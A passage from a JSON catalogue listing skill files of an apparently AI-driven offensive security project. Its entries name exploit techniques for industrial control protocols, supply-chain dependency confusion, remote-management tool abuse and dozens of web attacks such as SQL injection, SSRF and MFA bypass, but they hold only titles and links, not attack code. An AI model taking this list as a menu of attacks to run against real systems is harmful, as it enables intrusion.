opcua\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md)","tokens":300,"sizeBytes":263},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/ics-ot/profinet/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/profinet/SKILL.md","title":"profinet","category":"anthropic-skill","format":"markdown","content":"# profinet\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/profinet/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/profinet/SKILL.md)","tokens":300,"sizeBytes":272},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md","title":"s7comm","category":"anthropic-skill","format":"markdown","content":"# s7comm\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md)","tokens":300,"sizeBytes":266},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/ics-ot/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/SKILL.md","title":"ics-ot","category":"anthropic-skill","format":"markdown","content":"# ics-ot\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/SKILL.md)","tokens":300,"sizeBytes":252},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md","title":"reporting","category":"anthropic-skill","format":"markdown","content":"# reporting\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md)","tokens":300,"sizeBytes":261},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md","title":"rmm-tool-abuse","category":"anthropic-skill","format":"markdown","content":"# rmm-tool-abuse\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md)","tokens":300,"sizeBytes":276},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md","title":"dep-confusion","category":"anthropic-skill","format":"markdown","content":"# dep-confusion\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md)","tokens":300,"sizeBytes":297},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/supplychain/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/supplychain/SKILL.md","title":"supplychain","category":"anthropic-skill","format":"markdown","content":"# supplychain\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/supplychain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/supplychain/SKILL.md)","tokens":300,"sizeBytes":267},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/ato-methodology/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ato-methodology/SKILL.md","title":"ato-methodology","category":"anthropic-skill","format":"markdown","content":"# ato-methodology\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/ato-methodology/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ato-methodology/SKILL.md)","tokens":300,"sizeBytes":287},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md","title":"bfla","category":"anthropic-skill","format":"markdown","content":"# bfla\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md)","tokens":300,"sizeBytes":254},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md","title":"blind-sqli","category":"anthropic-skill","format":"markdown","content":"# blind-sqli\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md)","tokens":300,"sizeBytes":272},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md","title":"business-logic","category":"anthropic-skill","format":"markdown","content":"# business-logic\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md)","tokens":300,"sizeBytes":284},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md","title":"cache-deception","category":"anthropic-skill","format":"markdown","content":"# cache-deception\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md)","tokens":300,"sizeBytes":287},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md","title":"clickjacking","category":"anthropic-skill","format":"markdown","content":"# clickjacking\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md)","tokens":300,"sizeBytes":278},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md","title":"command-injection","category":"anthropic-skill","format":"markdown","content":"# command-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md)","tokens":300,"sizeBytes":293},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md","title":"cors","category":"anthropic-skill","format":"markdown","content":"# cors\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md)","tokens":300,"sizeBytes":254},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.md","title":"crypto","category":"anthropic-skill","format":"markdown","content":"# crypto\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.md)","tokens":300,"sizeBytes":260},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md","title":"csrf","category":"anthropic-skill","format":"markdown","content":"# csrf\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md)","tokens":300,"sizeBytes":254},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/cve/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/cve/SKILL.md","title":"cve","category":"anthropic-skill","format":"markdown","content":"# cve\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/cve/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/cve/SKILL.md)","tokens":300,"sizeBytes":251},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md","title":"deserialization","category":"anthropic-skill","format":"markdown","content":"# deserialization\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md)","tokens":300,"sizeBytes":287},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md","title":"dns-rebinding","category":"anthropic-skill","format":"markdown","content":"# dns-rebinding\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md)","tokens":300,"sizeBytes":281},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md","title":"dom-clobbering","category":"anthropic-skill","format":"markdown","content":"# dom-clobbering\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md)","tokens":300,"sizeBytes":284},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md","title":"file-upload","category":"anthropic-skill","format":"markdown","content":"# file-upload\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md)","tokens":300,"sizeBytes":275},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md","title":"graphql","category":"anthropic-skill","format":"markdown","content":"# graphql\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md)","tokens":300,"sizeBytes":263},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md","title":"header-injection","category":"anthropic-skill","format":"markdown","content":"# header-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md)","tokens":300,"sizeBytes":290},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md","title":"hpp","category":"anthropic-skill","format":"markdown","content":"# hpp\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md)","tokens":300,"sizeBytes":251},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md","title":"idor","category":"anthropic-skill","format":"markdown","content":"# idor\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md)","tokens":300,"sizeBytes":254},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md","title":"jwt","category":"anthropic-skill","format":"markdown","content":"# jwt\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md)","tokens":300,"sizeBytes":251},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md","title":"ldapi","category":"anthropic-skill","format":"markdown","content":"# ldapi\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md)","tokens":300,"sizeBytes":257},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md","title":"lfi","category":"anthropic-skill","format":"markdown","content":"# lfi\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md)","tokens":300,"sizeBytes":251},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.md","title":"mass-assignment","category":"anthropic-skill","format":"markdown","content":"# mass-assignment\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.md)","tokens":300,"sizeBytes":287},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md","title":"mfa-bypass","category":"anthropic-skill","format":"markdown","content":"# mfa-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md)","tokens":300,"sizeBytes":272},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md","title":"nosqli","category":"anthropic-skill","format":"markdown","content":"# nosqli\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md)","tokens":300,"sizeBytes":260},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.md","title":"oauth","category":"anthropic-skill","format":"markdown","content":"# oauth\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.md)","tokens":300,"sizeBytes":257},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.md","title":"open-redirect","category":"anthropic-skill","format":"markdown","content":"# open-redirect\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.md)","tokens":300,"sizeBytes":281},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md","title":"php-type-juggling","category":"anthropic-skill","format":"markdown","content":"# php-type-juggling\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md)","tokens":300,"sizeBytes":293},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md","title":"proxy-misconfig","category":"anthropic-skill","format":"markdown","content":"# proxy-misconfig\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md)","tokens":300,"sizeBytes":287},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.md","title":"race-condition","category":"anthropic-skill","format":"markdown","content":"# race-condition\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.md)","tokens":300,"sizeBytes":284},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/saml/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/saml/SKILL.md","title":"saml","category":"anthropic-skill","format":"markdown","content":"# saml\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/saml/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/saml/SKILL.md)","tokens":300,"sizeBytes":254},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md","title":"web","category":"anthropic-skill","format":"markdown","content":"# web\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md)","tokens":300,"sizeBytes":243},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md","title":"smuggling","category":"anthropic-skill","format":"markdown","content":"# smuggling\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md)","tokens":300,"sizeBytes":269},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md","title":"sqli","category":"anthropic-skill","format":"markdown","content":"# sqli\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md)","tokens":300,"sizeBytes":254},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md","title":"ssrf","category":"anthropic-skill","format":"markdown","content":"# ssrf\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md)","tokens":300,"sizeBytes":254},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md","title":"ssti","category":"anthropic-skill","format":"markdown","content":"# ssti\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md)","tokens":300,"sizeBytes":254},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md","title":"verb-tampering","category":"anthropic-skill","format":"markdown","content":"# verb-tampering\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md)","tokens":300,"sizeBytes":284},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md","title":"waf-bypass","category":"anthropic-skill","format":"markdown","content":"# waf-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md)","tokens":300,"sizeBytes":272},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md","title":"web-cache-poisoning","category":"anthropic-skill","format":"markdown","content":"# web-cache-poisoning\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md)","tokens":300,"sizeBytes":299},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md","title":"xpath-xslt","category":"anthropic-skill","format":"markdown","content":"# xpath-xslt\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md`\n\n[View Raw Content on 